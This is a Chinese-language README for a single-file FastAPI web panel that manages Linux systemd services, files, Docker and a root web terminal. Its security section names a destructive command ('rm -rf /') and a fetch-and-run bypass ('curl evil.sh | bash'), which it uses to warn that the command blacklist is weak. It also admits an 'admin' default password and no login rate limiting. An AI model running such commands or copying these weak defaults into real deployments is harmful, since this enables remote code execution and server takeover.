一个轻量级的 Linux systemd 服务监控与运维面板(FastAPI 单文件应用)。
单文件 main.py,无数据库依赖,部署后即可用。用于集中查看服务状态、日志、文件、Docker,并快速启停服务。
⚠️ 安全警告:这个面板是"认证后即 root"的管理工具(内置终端、文件管理、Docker 管理)。务必部署在可信网络(内网/VPN/防火墙后),并使用 HTTPS 反向代理(如 Nginx + Let's Encrypt)访问。切勿直接暴露公网。
- 📊 服务监控:启停/重启/使能状态、实时状态、日志查询(关键字/时间过滤/导出)
- 🖥️ 终端:内嵌 Web 终端执行命令(带危险命令黑名单)
- 📁 文件管理:浏览/编辑/上传/下载/创建/重命名/删除
- 🐳 Docker 管理:容器/镜像查看、启停、日志、创建容器
- ⚡ 服务器概览:CPU/内存/磁盘/网络/进程
- 🔑 密码登录 + 会话管理 + 改密
| 变量 | 说明 | 默认值 |
|---|---|---|
SM_ADMIN_PASSWORD |
初始管理员密码(首次启动且无 auth.json 时生效) | admin |
SM_AI_DECISIONS_FILE |
"AI Decisions" 快捷文件路径(留空则不显示该快捷入口) | 空 |
SM_LOG_EXPORT_DIR |
日志导出目录 | 系统临时目录 |
# 1. 安装依赖
pip install -r requirements.txt
# 2.(可选)设置初始密码
export SM_ADMIN_PASSWORD='your-strong-password'
# 3. 启动
python main.py
# 浏览器打开 http://localhost:5000首次访问时如无 auth.json,会用 SM_ADMIN_PASSWORD(缺省 admin)作为初始密码。登录后可在面板内修改密码,修改后的密码以 SHA-256 哈希写入 auth.json(该文件已被 .gitignore 排除,不会入库)。
- 使用 Nginx/Caddy 反向代理并启用 HTTPS:
server { listen 443 ssl; server_name your-domain.com; # ... ssl 配置 ... location / { proxy_pass http://127.0.0.1:5000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } }
- 面板监听
0.0.0.0:5000,若直接运行时请确保防火墙只放行内网来源。 - 强烈建议设置强密码(面板最低 4 位,请自觉用更长的)。
- 这是单管理员管理工具,不提供多用户/权限分级。
- 终端接口执行任意命令,仅拦截少数高危命令(
rm -rf /等黑名单),黑名单可被绕过(如curl evil.sh | bash)——永远只信任自己的密码能接触到它。 - 登录无速率限制,请勿将面板暴露在公网。
MIT